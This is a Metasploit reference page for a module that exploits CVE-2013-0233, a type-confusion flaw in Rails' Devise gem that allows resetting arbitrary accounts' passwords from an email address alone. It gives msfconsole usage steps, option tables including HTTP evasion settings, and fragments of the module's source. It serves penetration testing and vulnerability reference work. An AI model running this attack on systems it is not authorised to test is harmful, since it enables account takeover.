Ruby on Rails Devise Authentication Password Reset - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/rails_devise_pass_reset metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Ruby on Rails Devise Authentication Password Reset
Module: auxiliary/admin/http/rails_devise_pass_reset
Source code: modules/auxiliary/admin/http/rails_devise_pass_reset.rb
Disclosure date: 2013-01-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-0233
The Devise authentication gem for Ruby on Rails is vulnerable to a password reset exploit leveraging type confusion. By submitting XML to rails, we can influence the type used for the reset_password_token parameter. This allows for resetting passwords of arbitrary accounts, knowing only the associated email address. This module defaults to the most common devise URIs and response values, but these may require adjustment for implementations which customize them. Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails 3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation of this vulnerability, by quoting numeric values when comparing them with non numeric values.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/rails_devise_pass_reset
msf auxiliary(rails_devise_pass_reset) > show targets
... a list of targets ...
msf auxiliary(rails_devise_pass_reset) > set TARGET target-id
msf auxiliary(rails_devise_pass_reset) > show options
... show and set options ...
msf auxiliary(rails_devise_pass_reset) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
TARGETEMAIL: The email address of target account
PASSWORD: The password to set
Go back to menu.
Msfconsole Usage
Here is how the admin/http/rails_devise_pass_reset auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/rails_devise_pass_reset
msf6 auxiliary(admin/http/rails_devise_pass_reset) > show info
Name: Ruby on Rails Devise Authentication Password Reset
Module: auxiliary/admin/http/rails_devise_pass_reset
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-01-28
Provided by:
joernchen
jjarmoc
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FLUSHTOKENS true yes Flush existing reset tokens before trying
MAXINT 10 yes Max integer to try (tokens beginning with a higher int will fail)
OBJECTNAME user yes The user object name
PASSWORD yes The password to set
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETEMAIL yes The email address of target account
TARGETURI /users/password yes The request URI
VHOST no HTTP server virtual host
Description:
The Devise authentication gem for Ruby on Rails is vulnerable to a
password reset exploit leveraging type confusion. By submitting XML
to rails, we can influence the type used for the
reset_password_token parameter. This allows for resetting passwords
of arbitrary accounts, knowing only the associated email address.
This module defaults to the most common devise URIs and response
values, but these may require adjustment for implementations which
customize them. Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when
backed by any database except PostgreSQL or SQLite3. Tested with
v2.2.2, 2.1.2, and 2.0.4 on Rails 3.2.11. Patch applied to Rails
3.2.12 and 3.1.11 should prevent exploitation of this vulnerability,
by quoting numeric values when comparing them with non numeric
values.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-0233
OSVDB (89642)
http://www.securityfocus.com/bid/57577
http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/
http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html
https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8
https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8
Module Options
This is a complete list of options available in the admin/http/rails_devise_pass_reset auxiliary module:
msf6 auxiliary(admin/http/rails_devise_pass_reset) > show options
Module options (auxiliary/admin/http/rails_devise_pass_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
FLUSHTOKENS true yes Flush existing reset tokens before trying
MAXINT 10 yes Max integer to try (tokens beginning with a higher int will fail)
OBJECTNAME user yes The user object name
PASSWORD yes The password to set
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETEMAIL yes The email address of target account
TARGETURI /users/password yes The request URI
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/rails_devise_pass_reset auxiliary module:
msf6 auxiliary(admin/http/rails_devise_pass_reset) > show advanced
Module advanced options (auxiliary/admin/http/rails_devise_pass_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/rails_devise_pass_reset module can do:
msf6 auxiliary(admin/http/rails_devise_pass_reset) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/rails_devise_pass_reset auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/rails_devise_pass_reset) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No response from server
Here is a relevant code snippet related to the "No response from server" error message:
67: 'method' => 'POST',
68: 'data' => postdata,
69: })
70:
71: unless res
72: print_error("No response from server")
73: return false
74: end
75:
76: if res.code == 200
77: error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
Server returned error
Here is a relevant code snippet related to the "Server returned error" error message:
73: return false
74: end
75:
76: if res.code == 200
77: error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
78: print_error("Server returned error")
79: vprint_error(error_text)
80: return false
81: end
82:
83: return true
No response from server
Here is a relevant code snippet related to the "No response from server" error message:
111: 'ctype' => 'application/xml',
112: 'data' => xml,
113: })
114:
115: unless res
116: print_error("No response from server")
117: return false
118: end
119:
120: case res.code
121: when 200
Server returned error
Here is a relevant code snippet related to the "Server returned error" error message:
121: when 200
122: # Failure, grab the error text
123: # May need to tweak this for some apps...
124: error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
125: if (report) && (error_text !~ /token/)
126: print_error("Server returned error")
127: vprint_error(error_text)
128: return false
129: end
130: when 302
131: # Success!
ERROR: received code <RES.CODE>
Here is a relevant code snippet related to the "ERROR: received code <RES.CODE>" error message:
129: end
130: when 302
131: # Success!
132: return true
133: else
134: print_error("ERROR: received code #{res.code}")
135: return false
136: end
137: }
138:
139: print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
No active reset tokens below <MAXINT> remain. Try a higher MAXINT.
Here is a relevant code snippet related to the "No active reset tokens below <MAXINT> remain. Try a higher MAXINT." error message:
134: print_error("ERROR: received code #{res.code}")
135: return false
136: end
137: }
138:
139: print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
140: return false
141:
142: end
143:
144: def run
Failed to generate reset token
Here is a relevant code snippet related to the "Failed to generate reset token" error message:
149: end
150: # Generate a token for our account
151: print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
152: status = generate_token(datastore['TARGETEMAIL'])
153: if status == false
154: print_error("Failed to generate reset token")
155: return
156: end
157: print_good("Reset token generated successfully")
158:
159: # Reset a password. We're racing users creating other reset tokens.
Password reset worked successfully
Here is a relevant code snippet related to the "Password reset worked successfully" error message:
155: return
156: end
157: print_good("Reset token generated successfully")
158:
159: # Reset a password. We're racing users creating other reset tokens.
160: # If we didn't flush, we'll reset the account with the lowest ID that has a token.
161: print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")
162: status = reset_one(datastore['PASSWORD'], true)
163: status ? print_good("Password reset worked successfully") : print_error("Failed to reset password")
164: end
165: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12407 Merged Pull Request: begining to fix spelling errors
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5059 Merged Pull Request: Yard doc corrections
- #2705 Merged Pull Request: Adds the ability to configure object name in URI and XML.
- #2525 Merged Pull Request: Change module boilerplate
- #1490 Merged Pull Request: Minor - Note Rails 3.1.11 patch in Description.
References
- CVE-2013-0233
- OSVDB (89642)
- BID-57577
- http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/
- http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html
- https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8
- https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8
See Also
Check also the following modules related to this module:
- auxiliary/dos/http/rails_action_view
- auxiliary/dos/http/rails_json_float_dos
- auxiliary/gather/rails_doubletap_file_read
- auxiliary/scanner/http/rails_json_yaml_scanner
- auxiliary/scanner/http/rails_mass_assignment
- auxiliary/scanner/http/rails_xml_yaml_scanner
- exploit/multi/http/rails_actionpack_inline_exec
- exploit/multi/http/rails_double_tap
- exploit/multi/http/rails_dynamic_render_code_exec
- exploit/multi/http/rails_json_yaml_code_exec
- exploit/multi/http/rails_secret_deserialization
- exploit/multi/http/rails_web_console_v2_code_exec
- exploit/multi/http/rails_xml_yaml_code_exec
- auxiliary/admin/2wire/xslt_password_reset
- auxiliary/admin/chromecast/chromecast_reset
- auxiliary/admin/http/cfme_manageiq_evm_pass_reset
- auxiliary/admin/http/intersil_pass_reset
- auxiliary/admin/http/mantisbt_password_reset
- auxiliary/admin/http/netgear_r6700_pass_reset
- auxiliary/admin/http/nuuo_nvrmini_reset
- auxiliary/scanner/http/bmc_trackit_passwd_reset
- auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
- auxiliary/admin/http/linksys_tmunblock_admin_reset_bof
- auxiliary/scanner/http/epmp1000_reset_pass
- post/hardware/automotive/ecu_hard_reset
- auxiliary/admin/http/allegro_rompager_auth_bypass
- auxiliary/admin/http/dlink_dir_645_password_extractor
- auxiliary/admin/http/dlink_dsl320b_password_extractor
- auxiliary/admin/http/grafana_auth_bypass
- auxiliary/admin/http/iis_auth_bypass
- auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/netgear_wnr2000_pass_recovery
- auxiliary/admin/http/zyxel_admin_password_extractor
Authors
- joernchen
- jjarmoc
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.